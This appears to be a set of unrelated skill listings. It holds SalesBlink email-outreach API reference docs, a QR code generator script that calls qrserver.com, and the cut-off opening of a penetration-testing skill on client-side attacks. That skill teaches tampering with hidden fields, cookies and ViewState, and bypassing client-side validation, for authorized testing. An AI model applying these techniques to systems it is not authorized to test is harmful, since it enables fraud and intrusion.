`source="from-salesblink"` or `mode="recurring"`) | | `subject` | string | ✅* | Email subject (required when `content_type="custom"`) | | `body` | string | ✅* | Email HTML body (required when `content_type="custom"`) | | `sequence_id` | string | ✅* | Sequence UUID (required when `content_type="sequence"`) | | `template_id` | string | ✅* | Template ObjectId (required when `content_type="sequence"` or `"template"`) | | `schedule_day` | integer | ✅* | Day of week: `0`=Sunday through `6`=Saturday (required when `mode="recurring"`) | | `tracking_uuid` | string | | Optional UUID for `from-outside` tests. Auto-generated if omitted. | > *Field requirement depends on `source`, `mode`, and `content_type` values. **Behavior:** - **One-time tests** run ~2 minutes after creation by default. - **Recurring tests** run weekly on the specified `schedule_day` at 09:00 UTC. - **`from-outside` tests** return `seed_emails` in the response — these are the addresses the user must send to. - **`from-salesblink` tests** send automatically using the selected sender. **V1 Wrapper behavior:** When `source="from-salesblink"` is provided without `content_type`: - If `subject` and `body` are present → `content_type` becomes `"custom"` - Otherwise → `content_type` becomes `"sequence"` with `sequence_id: "from_api"` ### Example: One-time custom content test **POST** `/inbox-placement` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Gmail Deliverability Check", "mode": "one-time", "source": "from-salesblink", "sender_id": "sender-uuid-here", "content_type": "custom", "subject": "Hello from SalesBlink", "body": "<p>This is a test email.</p>" } ``` ### Example: Recurring sequence-based test **POST** `/inbox-placement` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Weekly Sequence Check", "mode": "recurring", "source": "from-salesblink", "sender_id": "sender-uuid-here", "content_type": "sequence", "sequence_id": "sequence-uuid-here", "template_id": "507f1f77bcf86cd799439011", "schedule_day": 1 } ``` ### Example: From-outside test (returns seed emails) **POST** `/inbox-placement` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "External Send Test", "mode": "one-time", "source": "from-outside" } ``` Response for `from-outside`: ```json { "success": true, "data": { "id": "...", "tracking_uuid": "...", ... }, "seed_emails": ["[email protected]", "[email protected]", ...] } ``` ## Pause Test **PUT** `/inbox-placement/:id/pause` Headers: - `Authorization`: `YOUR_API_KEY` Only works on **recurring** tests. Sets status to `stopped` and clears scheduling. ## Delete Test **DELETE** `/inbox-placement/:id` Headers: - `Authorization`: `YOUR_API_KEY` Deletes the test and all associated tracking tasks. FILE:references/folders.md # Folders ## Endpoints | Endpoint | Method | Description | | ---------- | ------ | --------------- | | `/folders` | GET | List folders | | `/folders` | POST | Create a folder | ## Get Folders **GET** `/folders` Headers: - `Authorization`: `YOUR_API_KEY` ## Create Folder **POST** `/folders` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Q1 Campaigns", "type": "sequence" } ``` | Field | Type | Req | Description | | ------ | ------ | --- | --------------------------------------------------------- | | `name` | string | ✅ | Folder name | | `type` | string | ✅ | `"list"`, `"template"`, `"sequence"`, or `"email-sender"` | > If `type` contains `"sender"`, it is automatically converted to `"email-sender"`. FILE:references/contacts.md # Contacts & Leads ## Endpoints | Endpoint | Method | Description | |----------|--------|-------------| | `/lists/:id/leads` | GET | Get leads in a list (paginated) | | `/contacts` | POST | Add up to 500 leads to a list | | `/contacts/remove` | POST | Remove a single lead by email from a list | | `/leads/:id` | PATCH | Update lead fields | | `/leads/:id/move` | PUT | Move a lead to a different list | | `/contacts/:id/archive` | PUT | Archive or unarchive a contact | ## Get Leads **GET** `/lists/:id/leads?limit=100&skip=0` Headers: - `Authorization`: `YOUR_API_KEY` Query params: `limit` (max 100), `skip` ## Add Contacts **POST** `/contacts` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "list_id": "a1b2c3d4-e5f6-7890-abcd-abcdef123456", "contacts": [ { "Email": "[email protected]", "First_Name": "John", "Last_Name": "Doe", "Phone": "+1234567890", "Company": "Acme Inc", "Title": "VP Sales", "Custom_Field": "any value" } ], "remove_duplicates": true } ``` | Field | Type | Req | Description | |-------|------|-----|-------------| | `list_id` | string | ✅ | List UUID to add leads to | | `contacts` | object[] | ✅ | Array of lead objects (**max 500 per request**) | | `remove_duplicates` | boolean | | Remove duplicate emails after insert | Each contact object: | Field | Type | Req | Description | |-------|------|-----|-------------| | `Email` | string | ✅ | Lead's email address | | `First_Name` | string | | First name | | `Last_Name` | string | | Last name | | `Phone` | string | | Phone number | | `Company` | string | | Company name | | `Title` | string | | Job title | | _(any key)_ | string | | Custom fields are supported | > **Field naming**: Use **PascalCase with underscores** (`First_Name`, `Last_Name`, `Email`). ## Remove Contact **POST** `/contacts/remove` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "list_id": "a1b2c3d4-e5f6-7890-abcd-abcdef123456", "email": "[email protected]" } ``` | Field | Type | Req | Description | |-------|------|-----|-------------| | `list_id` | string | ✅ | List UUID | | `email` | string | ✅ | Email address of the lead to remove | ## Update Lead **PATCH** `/leads/:id` (UUID) Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "First_Name": "Updated", "Last_Name": "Name", "Title": "CTO" } ``` Any standard or custom contact fields can be updated. System fields (`_id`, `id`, `list_id`, `account_id`, `user_id`, `accuracy`, `provider`, `custom_fields`, `removed_sequences`, `verification_required`, `archive_invalid_contacts`, `archive_risky_contacts`, `processing`, `completed`, `completedAt`, `last_modified`, `created_date`, `verification_blocked`, `didOpen`, `didClick`, `didReply`, `contactStats`, `retryCount`, `esg_name`, `archived`, `deleted`) **cannot** be modified. If updating `Email`, it is automatically lowercased. ## Move Lead **PUT** `/leads/:id/move` (UUID) Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "list_id": "destination_list_uuid" } ``` | Field | Type | Req | Description | |-------|------|-----|-------------| | `list_id` | string | ✅ | Destination list UUID | ## Archive Contact **PUT** `/contacts/:id/archive` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "archived": true } ``` > ⚠️ **The `:id` here is a MongoDB ObjectId** (24-char hex), NOT a UUID. This is the only contact endpoint that uses ObjectId. FILE:references/lists.md # Lists ## Endpoints | Endpoint | Method | Description | |----------|--------|-------------| | `/lists` | GET | Retrieve all lists. Query: `limit` (max 100), `skip`, `owned_by` | | `/lists/:id` | GET | Get a specific list by UUID | | `/lists/:id/leads` | GET | Get leads in a list. Query: `limit` (max 100), `skip` | | `/lists` | POST | Create a new list | | `/lists/:id` | PATCH | Update a list | | `/lists/:id/archive` | PUT | Archive or unarchive a list | ## Create List **POST** `/lists` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Q1 Prospects", "removeDuplicates": { "inThisList": true, "inOtherLists": true } } ``` Required fields marked with ✅: | Field | Type | Req | Description | |-------|------|-----|-------------| | `name` | string | ✅ | List name | | `folder` | string | | Folder ID (UUID) | | `starred` | boolean | | Star the list (default: false) | | `verification` | boolean | | Enable email verification ⚠️ **IRREVERSIBLE** | | `archive_invalid` | boolean | | Auto-archive invalid emails ⚠️ **IRREVERSIBLE** | | `archive_risky` | boolean | | Auto-archive risky emails ⚠️ **IRREVERSIBLE** | | `removeDuplicates.inThisList` | boolean | | Remove duplicate emails within this list | | `removeDuplicates.inOtherLists` | boolean | | Remove contacts that exist in other lists | | `removeDuplicates.inTeamMembersLists` | boolean | | Remove contacts that exist in team members' lists | ## Update List **PATCH** `/lists/:id` (UUID) Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Q2 Prospects Restructured", "starred": true, "archive_invalid": true } ``` | Field | Type | Description | |-------|------|-------------| | `name` | string | New name | | `starred` | boolean | Star or unstar | | `duplicate_removal` | boolean | Remove duplicates from this list | | `duplicate_removal_other_list` | boolean | Remove contacts in other lists | | `duplicate_removal_team_list` | boolean | Remove contacts in team members' lists | | `verification` | boolean | Enable verification ⚠️ **IRREVERSIBLE** | | `archive_invalid` | boolean | Archive invalid emails ⚠️ **IRREVERSIBLE** | | `archive_risky` | boolean | Archive risky emails ⚠️ **IRREVERSIBLE** | > Use `PUT /lists/:id/archive` for archiving — not this endpoint. ## Archive List **PUT** `/lists/:id/archive` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "archived": true } ``` Set `"archived": false` to unarchive. FILE:references/sequences.md # Sequences ## Endpoints | Endpoint | Method | Description | |----------|--------|-------------| | `/sequences` | GET | List all sequences. Query: `limit`, `skip`, `owned_by` | | `/sequences/:id` | GET | Get sequence details including steps and settings | | `/sequences/:id/stats` | GET | Get performance analytics. Query: `from`, `to`, `sender` | | `/sequences` | POST | Create a full sequence with steps, senders, lists | | `/sequences/:id` | PATCH | Update settings, pause/resume, rewrite steps | | `/sequences/:id/clone` | POST | Duplicate an existing sequence (created paused) | | `/sequences/:id/archive` | PUT | Archive or unarchive a sequence | ## Create Sequence **POST** `/sequences` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Q1 Outbound Campaign", "senders": "a1b2c3d4-e5f6-7890-abcd-000000000001,a1b2c3d4-e5f6-7890-abcd-000000000002", "lists": ["b2c3d4e5-f6a7-8901-bcde-000000000001"], "steps": [ { "type": "email", "template_id": "507f1f77bcf86cd799439011" }, { "type": "delay", "days": 3 }, { "type": "email", "template_id": "507f1f77bcf86cd799439012" } ], "paused": false, "launchTimingMode": "now", "timezone": "America/New_York", "delayEnabled": true, "delayFrom": 10, "delayTo": 20, "stopWhenReplyRecieved": true, "stopWhenReplyRecievedWhen": "contact" } ``` Required fields marked with ✅: | Field | Type | Req | Description | |-------|------|-----|-------------| | `name` | string | ✅ | Sequence name | | `senders` | string | ✅ | **Comma-separated string** of sender/folder IDs (NOT an array) | | `lists` | string[] | ✅ | Array of list UUIDs | | `steps` | Step[] | ✅ | Ordered array of email and delay steps | | `folder` | string | | Folder ID (UUID) | | `starred` | boolean | | Star the sequence | | `paused` | boolean | | Create in paused state (default: **true**) | | `launchTimingMode` | string | | `"now"` (starts in 5 mins) or `"schedule"` (requires `scheduledAt`) | | `scheduledAt` | integer | | UTC timestamp in **milliseconds** (required if mode = `"schedule"`) | | `timezone` | string | | Timezone for sending (default: `"America/New_York"`) | | `delayEnabled` | boolean | | Enable random delay between emails (default: true) | | `delayFrom` | integer | | Minimum delay in minutes (default: 10) | | `delayTo` | integer | | Maximum delay in minutes (default: 20) | | `stopWhenReplyRecieved` | boolean | | Stop sequence when lead replies (default: true) | | `stopWhenReplyRecievedWhen` | string | | `"contact"` or `"contact-with-same-domain"` (default: `"contact"`) | | `evergreen` | boolean | | Enable evergreen mode — continuously running (default: false) | | `bounceThreshold` | integer | | Bounces before pausing (default: 2) | | `bouncePause` | boolean | | Pause sequence on bounce threshold (default: false) | | `autoPause` | boolean | | Auto-pause on high bounce rate (default: true) | | `autoTagReplies` | boolean | | Auto-tag reply outcomes (default: false) | | `plainText` | boolean | | Send as plain text email (default: true) | | `auto_reply` | boolean | | Enable auto-reply detection (default: true) | | `matchProvider` | boolean | | Match sender email provider with recipient (default: true) | | `skip_esg` | boolean | | Skip ESG detection (default: true) | | `sendToOnlyVerifiedEmail` | boolean | | Only send to verified emails (default: false) | | `validEmail` | boolean | | Send to contacts with valid email status (default: true) | | `riskyEmail` | boolean | | Send to contacts with risky email status (default: true) | | `invalidEmail` | boolean | | Send to contacts with invalid email status (default: true) | | `checkEmailOpen` | boolean | | Check if recipient opened previous email before sending next (default: false) | | `checkEmailClick` | boolean | | Check if recipient clicked link before sending next (default: false) | | `checkEmailReply` | boolean | | Check if recipient replied before sending next (default: true) | | `checkEmailBeforeSending` | boolean | | Verify email before sending (default: true) | | `bcc` | string | | BCC email address for all outgoing emails (default: `""`) | | `emailSendingHours` | array | | Sending hours per day of the week (see default below) | **Steps structure** — ordered array mixing `email` and `delay` types: ```json "steps": [ { "type": "email", "template_id": "507f1f77bcf86cd799439011" }, { "type": "delay", "days": 3 }, { "type": "email", "template_id": "507f1f77bcf86cd799439012" } ] ``` - `type: "email"` → MUST include `template_id` (the template's MongoDB ObjectId). - `type: "delay"` → MUST include `days` (integer, number of days to wait). - Omitting `type` or misspelling it will fail or create a broken sequence. **Default `emailSendingHours`:** ```json [ { "enabled": true, "name": "Monday", "fromTime": "09:00", "toTime": "17:00" }, { "enabled": true, "name": "Tuesday", "fromTime": "09:00", "toTime": "17:00" }, { "enabled": true, "name": "Wednesday", "fromTime": "09:00", "toTime": "17:00" }, { "enabled": true, "name": "Thursday", "fromTime": "09:00", "toTime": "17:00" }, { "enabled": true, "name": "Friday", "fromTime": "09:00", "toTime": "17:00" }, { "enabled": false, "name": "Saturday", "fromTime": "09:00", "toTime": "17:00" }, { "enabled": false, "name": "Sunday", "fromTime": "09:00", "toTime": "17:00" } ] ``` ## Update Sequence **PATCH** `/sequences/:id` (UUID) Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "paused": true } ``` Accepts the same fields as create (all optional). Additionally used to **pause/resume**. > **Critical**: When updating `steps`, the entire array is **replaced** — send the full desired step list. > Updates to `name`, `starred`, or `folder` do **not** trigger task rescheduling. All other field updates do. ## Clone Sequence **POST** `/sequences/:id/clone` (UUID) Headers: - `Authorization`: `YOUR_API_KEY` Creates a paused duplicate of an existing sequence. ## Archive Sequence **PUT** `/sequences/:id/archive` (UUID) Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "archived": true } ``` Archiving a sequence automatically pauses it and removes pending email tasks. FILE:references/activity.md # Activity Tracking ## Endpoints | Endpoint | Method | Description | |----------|--------|-------------| | `/sent` | GET | Log of all sent emails | | `/opens` | GET | Email open events | | `/clicks` | GET | Link click events | | `/replies` | GET | Reply events | ## Query Parameters All activity endpoints support: | Param | Type | Description | |-------|------|-------------| | `per_page` | integer | Max 100 | | `page` | integer | 1-indexed | | `sequence_id` | string | Filter by sequence UUID | | `recipient_email_address` | string | Filter by email address | | `since` | integer | Filter events after this timestamp (ms) | | `from` | integer | Start of date range (timestamp, ms) | | `to` | integer | End of date range (timestamp, ms) | > Use `per_page` and `page` for activity endpoints — not `limit`/`skip`. ## Response Format Each event includes: ```json { "id": "...", "time": 1715000000000, "message": "Sent", "type": "outreach", "sequence": "sequence-uuid", "email": "[email protected]", "sequence_name": "Campaign Name" } ``` For clicks and replies, `template_name` is also included. ## Examples **GET** `/opens?sequence_id=SEQ_ID&per_page=100&page=1` Headers: - `Authorization`: `YOUR_API_KEY` **GET** `/replies?since=TIMESTAMP_30_DAYS_AGO&per_page=100` Headers: - `Authorization`: `YOUR_API_KEY` FILE:references/account-config.md # Account Config — Domains, Signatures & Warmup Links ## Domains **GET** `/domains` Headers: - `Authorization`: `YOUR_API_KEY` List custom tracking domains for the account. ## Signatures **GET** `/signatures` Headers: - `Authorization`: `YOUR_API_KEY` List email signatures. > Signature IDs can be referenced when adding senders via the `signature_id` field. You can pass either the signature ID or its name. ## Warmup Links **GET** `/warmup-links` Headers: - `Authorization`: `YOUR_API_KEY` List warmup link configurations. FILE:references/organization.md # Organization — Users & Workspaces ## Users | Endpoint | Method | Description | |----------|--------|-------------| | `/users` | GET | List workspace users | | `/users` | POST | Invite a user | | `/users/:id` | PATCH | Update user name or role | ### Create User **POST** `/users` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "email": "[email protected]", "role": "user", "url": "https://run.salesblink.io/dashboard" } ``` | Field | Type | Req | Description | |-------|------|-----|-------------| | `email` | string | ✅ | Email address of the new user | | `role` | string | | `"client"`, `"user"`, `"admin"`, or `"developer"`. Default: `"user"` | | `url` | string | | Optional redirect URL after accepting invitation | > Only **owners and admins** can add users. Returns 403 otherwise. ### Update User **PATCH** `/users/:id` (UUID) Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Updated Name", "role": "admin" } ``` | Field | Type | Description | |-------|------|-------------| | `name` | string | New display name | | `role` | string | One of: `client`, `user`, `admin`, `developer` | --- ## Workspaces | Endpoint | Method | Description | |----------|--------|-------------| | `/workspaces` | GET | List all accessible workspaces | | `/workspaces` | POST | Create a new workspace | | `/workspaces/:id` | PATCH | Update workspace name | > **Owner only.** Returns 403 for non-owners. ### Create Workspace **POST** `/workspaces` Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "Sales Team" } ``` | Field | Type | Req | Description | |-------|------|-----|-------------| | `name` | string | ✅ | Workspace name (min 4 characters) | ### Update Workspace **PATCH** `/workspaces/:id` (UUID) Headers: - `Authorization`: `YOUR_API_KEY` - `Content-Type`: `application/json` Body: ```json { "name": "New Workspace Name" } ``` | Field | Type | Req | Description | |-------|------|-----|-------------| | `name` | string | ✅ | New workspace name (min 4 characters) |
Generate QR codes from URLs or text. Export as PNG with customizable size. No API key required.
--- slug: qrcode-tool name: QR Code Generator description: "Generate QR codes from URLs or text. Export as PNG with customizable size. No API key required." keywords: qrcode, qr, barcode, generator, url, text version: "1.0.0" author: Qiance language: en --- # QR Code Generator Generate QR codes from any text or URL. Supports customization and exports as PNG format. ## Features - Generate QR codes from any text/URL - Custom size (default 300px) - Custom margin - Export as PNG format - No API key required ## Usage ```bash # Generate QR code for URL python3 scripts/qrcode_generator.py "https://example.com" # Generate QR code for text python3 scripts/qrcode_generator.py "Hello World" # Custom size python3 scripts/qrcode_generator.py "https://example.com" --size 500 ``` ## Examples ``` Generate QR code for: https://github.com Generate QR code for: Contact me at [email protected] Generate QR code for: WIFI:T:WPA;S:MyNetwork;P:password;; ``` ## Technical Details - Uses qrserver.com public API - SSL certificate verification enabled (certifi) - No sensitive data transmission ## Dependencies - Python 3.7+ - certifi (SSL certificates) ## Privacy Note Input text is sent to api.qrserver.com (third-party service). Not recommended for sensitive information. --- ## 中文说明 输入URL或文本,生成PNG二维码。 - 自定义尺寸(默认300px) - 无需API Key - 使用qrserver.com公开API FILE:README.md # QR Code Generator Generate QR codes from any text or URL with customizable options. ## Installation No installation required. Uses Python standard library + certifi for SSL. ```bash pip install certifi # Optional but recommended for SSL verification ``` ## Usage ### Basic Usage ```bash # Generate QR code for URL python3 scripts/qrcode_generator.py "https://example.com" # Generate QR code for text python3 scripts/qrcode_generator.py "Hello World" ``` ### Advanced Options ```bash # Custom size python3 scripts/qrcode_generator.py "https://example.com" --size 500 # Custom margin python3 scripts/qrcode_generator.py "Hello" --margin 2 # Different format python3 scripts/qrcode_generator.py "Test" --format gif # JSON output python3 scripts/qrcode_generator.py "https://example.com" --json ``` ## Examples | Input | Use Case | |-------|----------| | `https://github.com` | Website URL | | `mailto:[email protected]` | Email link | | `tel:+1234567890` | Phone number | | `WIFI:T:WPA;S:MyNetwork;P:password;;` | WiFi credentials | | `Hello World` | Plain text | ## API Uses the free [qrserver.com API](https://api.qrserver.com). No API key required. ## Privacy ⚠️ Input text is sent to a third-party API (api.qrserver.com). Do not use for sensitive information like passwords or private keys. ## License MIT License FILE:scripts/qrcode_generator.py #!/usr/bin/env python3 """QR Code Generator - Generate QR codes from text/URL""" import sys import os import base64 import ssl import urllib.request import urllib.parse import argparse try: import certifi CERTIFI_AVAILABLE = True except ImportError: CERTIFI_AVAILABLE = False def generate_qrcode(text, size=300, margin=4, format='png'): """Generate QR code using qrserver.com API Args: text: Text or URL to encode size: QR code size in pixels (default 300) margin: Margin around QR code (default 4) format: Output format (default png) Returns: dict with success status and data/base64 or error message """ encoded_text = urllib.parse.quote(text) url = f"https://api.qrserver.com/v1/create-qr-code/?size={size}x{size}&margin={margin}&format={format}&data={encoded_text}" headers = { 'User-Agent': 'QRCode-Tool/1.0 (https://github.com/qiance)' } try: # SSL with certifi if available, fallback to default if CERTIFI_AVAILABLE: ctx = ssl.create_default_context() ctx.load_verify_locations(certifi.where()) else: ctx = ssl.create_default_context() req = urllib.request.Request(url, headers=headers) response = urllib.request.urlopen(req, timeout=15, context=ctx) data = response.read() return { "success": True, "data": f"data:image/{format};base64,{base64.b64encode(data).decode()}", "url": url, "size": size, "text_length": len(text) } except Exception as e: return {"success": False, "error": str(e)} def main(): parser = argparse.ArgumentParser( description='Generate QR codes from text or URLs', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 qrcode_generator.py "https://example.com" python3 qrcode_generator.py "Hello World" --size 500 python3 qrcode_generator.py "WIFI:T:WPA;S:MyNetwork;P:password;;" --margin 2 """ ) parser.add_argument('text', help='Text or URL to encode') parser.add_argument('--size', type=int, default=300, help='QR code size in pixels (default: 300)') parser.add_argument('--margin', type=int, default=4, help='Margin around QR code (default: 4)') parser.add_argument('--format', choices=['png', 'gif', 'jpeg', 'jpg'], default='png', help='Output format (default: png)') parser.add_argument('--json', action='store_true', help='Output as JSON') args = parser.parse_args() result = generate_qrcode(args.text, args.size, args.margin, args.format) if args.json: import json print(json.dumps(result, indent=2)) else: if result["success"]: print(f"✅ QR Code generated successfully!") print(f" Size: {result['size']}x{result['size']} pixels") print(f" Text length: {result['text_length']} characters") print(f" Base64 length: {len(result['data'])} characters") else: print(f"❌ Failed to generate QR code: {result['error']}") if __name__ == '__main__': main()
Test web applications for client-side security vulnerabilities spanning two major attack families: client-side trust anti-patterns and user-targeting attacks...
---
name: client-side-attack-testing
description: |
Test web applications for client-side security vulnerabilities spanning two major attack families: client-side trust anti-patterns and user-targeting attacks. Use this skill when: auditing hidden form fields, HTTP cookies, URL parameters, Referer headers, or ASP.NET ViewState for client-side data transmission vulnerabilities; bypassing HTML maxlength limits, JavaScript validation, or disabled form elements to probe server-side enforcement gaps; intercepting and analyzing browser extension traffic (Java applets, Flash, Silverlight) and handling serialized data; testing for cross-site request forgery (CSRF) by identifying cookie-only session tracking and constructing auto-submitting PoC forms; testing for clickjacking and UI redress attacks by checking X-Frame-Options headers and constructing iframe overlay proofs of concept; detecting cross-domain data capture vectors via HTML injection and CSS injection; auditing Flash crossdomain.xml and HTML5 CORS Access-Control-Allow-Origin configurations for overly permissive same-origin policy exceptions; finding HTTP header injection and response splitting vulnerabilities via CRLF injection; identifying open redirection vulnerabilities and testing filter bypass payloads; testing cookie injection and session fixation; assessing local privacy exposure through persistent cookies, cached content lacking no-cache directives, autocomplete on sensitive fields, and HTML5 local storage. Excludes XSS (covered by xss-detection-and-exploitation). Maps to OWASP Testing Guide (OTG-INPVAL-*, OTG-SESS-*, OTG-CLIENT-*), CWE-352 (CSRF), CWE-601 (Open Redirect), CWE-113 (HTTP Header Injection), CWE-565 (Reliance on Cookies), CWE-1021 (Improper Restriction of Rendered UI Layers), CWE-311 (Missing Encryption of Sensitive Data), and OWASP Top 10 A01:2021, A03:2021, A05:2021.
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/web-application-hackers-handbook/skills/client-side-attack-testing
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
depends-on: []
source-books:
- id: web-application-hackers-handbook
title: "The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws"
authors: ["Dafydd Stuttard", "Marcus Pinto"]
edition: 2
chapters: [5, 13]
pages: "117-157, 501-560"
tags: [csrf, clickjacking, ui-redress, open-redirect, http-header-injection, session-fixation, cookie-injection, client-side-controls, hidden-form-fields, viewstate, javascript-validation, browser-extensions, same-origin-policy, cors, crossdomain-xml, local-privacy, burp-suite, penetration-testing, appsec, cwe-352, cwe-601, cwe-113, cwe-565, cwe-1021]
execution:
tier: 2
mode: hybrid
inputs:
- type: document
description: "HTTP proxy traffic logs, Burp Suite project file, or captured request/response pairs from the target application"
- type: codebase
description: "Application source code or HTML source for white-box review of client-side controls and data transmission"
tools-required: [Read, Grep, Write]
tools-optional: [Bash, WebFetch]
mcps-required: []
environment: "Authorized security testing context required. Burp Suite or equivalent intercepting proxy configured between browser and target. Clean browser profile recommended for local privacy testing."
discovery:
goal: "Identify all exploitable client-side control bypasses and user-targeting vulnerabilities; produce a structured findings report with PoC evidence, CWE mappings, severity ratings, and remediation guidance"
tasks:
- "Enumerate all client-side data transmission mechanisms (hidden fields, cookies, URL params, ViewState) and attempt tampering"
- "Identify and bypass all client-side input validation (length limits, JavaScript validation, disabled elements)"
- "Intercept browser extension traffic and attempt parameter manipulation or component decompilation"
- "Test all state-changing application functions for CSRF vulnerability"
- "Check all pages for X-Frame-Options and construct clickjacking proof of concept where absent"
- "Identify cross-domain policy files and CORS headers; assess permission scope"
- "Probe HTTP headers for CRLF injection; test open redirection parameters with bypass payloads"
- "Test session token behavior across login boundary for session fixation; test cookie injection vectors"
- "Audit local data storage: persistent cookies, cache directives, autocomplete attributes, HTML5 storage"
audience:
roles: ["penetration-tester", "application-security-engineer", "security-minded-developer", "bug-bounty-researcher"]
experience: "intermediate-to-advanced — assumes familiarity with HTTP, intercepting proxies (Burp Suite), HTML/JavaScript, and basic session management concepts"
triggers:
- "Penetration test of a web application requiring client-side vulnerability coverage"
- "Security assessment of an e-commerce or banking application with payment flows"
- "Audit of an application using browser extension components (Java applets, Flash, Silverlight)"
- "Assessment of a multi-user application where one user could target another"
- "Review of OWASP Top 10 A01/A03/A05 finding categories"
- "Pre-launch security review checking for CSRF, clickjacking, and open redirection"
---
# Client-Side Attack Testing
## When to Use
Use this skill when you need to assess a web application for vulnerabilities that either trust data transmitted through the client without server-side verification, or that allow one user to target another user's browser session. These two families are conceptually distinct but share the same root: the server's failure to treat the client as an untrusted environment.
This skill covers authorized penetration testing and security code review. It is not a substitute for legal authorization to test a target application. XSS is excluded here and covered by the `xss-detection-and-exploitation` skill.
---
## Core Concepts
### Why Client-Side Controls Fail
The browser executes entirely within the user's control. Any restriction enforced only on the client — a hidden field the application assumes will not be modified, a JavaScript validation gate the application assumes will run — can be bypassed by an attacker who intercepts requests. The only controls that matter for security are those enforced on the server.
### Two Attack Families
**Client-side trust anti-patterns** occur when the server transmits data to the client and reads it back without verifying its integrity. Every channel — hidden form fields, HTTP cookies, URL parameters, the Referer header, ASP.NET ViewState — is attacker-controllable via an intercepting proxy.
**User-targeting attacks** exploit the browser's normal behavior to induce a victim user to perform unintended actions (CSRF, clickjacking) or to leak data to the attacker's domain (cross-domain data capture, open redirection). These attacks do not require the attacker to log in — they ride the victim's authenticated session.
---
## Process
### Phase 1: Client-Side Data Transmission Testing
**Step 1: Identify all client-side data transmission mechanisms.**
Using your intercepting proxy in passive mode, browse the entire application and catalog every location where data is passed to the client and expected back:
- Hidden form fields (`<input type="hidden">`)
- HTTP cookies set by the server (`Set-Cookie` headers)
- URL query string parameters that appear to carry server-state (price codes, product IDs with apparent pre-computation, discount flags)
- The `Referer` header used in multi-step workflows
- ASP.NET `__VIEWSTATE` parameters
WHY: Applications transmit data via the client for performance, scalability, and third-party integration reasons. Developers often assume the transmission channel is tamper-proof. It never is. Identifying these locations is prerequisite to testing them.
**Step 2: Infer the role of each parameter.**
For each item identified, determine from context what server-side logic depends on it. Look for names like `price`, `discount`, `role`, `isAdmin`, `uid`, `returnUrl`. Even opaque values may be encodings of sensitive data.
WHY: Blind tampering generates noise. Understanding the role of a parameter allows you to craft meaningful modifications — for example, setting `price=1` on a checkout form, or flipping `discount=0` to `discount=100`.
**Step 3: Modify each value and observe server behavior.**
Use your proxy's intercept or Repeater tab to change parameter values:
- For hidden form fields: change the value in the intercepted POST request
- For cookies: modify the cookie header in subsequent requests or in the server response that sets the cookie
- For URL parameters: modify directly in the request
- For the Referer header: craft a request directly to a protected endpoint with a spoofed Referer matching the expected prior step
- For opaque values: attempt Base64 decoding (try starting decodes at offsets 0, 1, 2, 3 to account for Base64 block alignment); replay values from other contexts; submit malformed variants
WHY: The Referer header and cookies are not "more tamper-proof" than URL parameters — this is a common developer myth. Any intercepting proxy can modify all request headers with equal ease.
**Step 4: Test ASP.NET ViewState specifically.**
For ASP.NET applications, use Burp Suite's built-in ViewState parser (the ViewState tab in the proxy intercept panel):
1. Check whether MAC protection is enabled (indicated by a 20-byte hash at the end of the ViewState structure and the Burp parser reporting "MAC is enabled")
2. Even if MAC-protected, decode the ViewState to inspect whether the application stores sensitive data within it
3. If MAC protection is absent, edit the decoded ViewState contents in Burp's hex editor to modify any custom application data stored there
4. Test each significant page independently — MAC protection may be enabled globally but disabled on specific pages
WHY: ViewState with MAC protection disabled allows arbitrary modification of server-side state data, which can lead to price manipulation, privilege escalation, or injection vulnerabilities if the deserialized data is used unsafely.
---
### Phase 2: Client-Side Input Validation Bypass
**Step 1: Identify HTML maxlength restrictions.**
Search response HTML for `maxlength` attributes on input elements. Submit values exceeding the declared length via proxy intercept (the browser enforces maxlength client-side only).
WHY: If the server does not replicate the length check, overlong input may trigger SQL injection, cross-site scripting, buffer overflow, or other secondary vulnerabilities. Accepting the overlong input confirms the client-side validation is the only gate.
**Step 2: Identify JavaScript validation on form submission.**
Look for `onsubmit` attributes on form tags or validation functions called before form submission. Methods to bypass:
- Submit a valid value in the browser, intercept the request in the proxy, and replace the value with your desired payload (cleanest approach, does not affect application UI state)
- Disable JavaScript in the browser before submitting the form
- Intercept the server response containing the JavaScript validation code and neutralize the validation function (for example, change the function body to `return true`)
Test each field with invalid data individually, keeping all other fields valid, because the server may stop processing after the first invalid field.
WHY: Client-side validation without server-side replication is purely a user experience feature, not a security control.
**Step 3: Identify and submit disabled form elements.**
Inspect page source (not just proxy traffic — disabled elements are not submitted by the browser, so they do not appear in normal traffic) for `disabled="true"` attributes. Submit the disabled parameter name and value manually via proxy.
WHY: Disabled fields often represent parameters that were active during development or testing. The server-side handler may still process them if submitted, exposing price manipulation or feature-flag bypass opportunities.
---
### Phase 3: Browser Extension Analysis
**Step 1: Intercept browser extension traffic.**
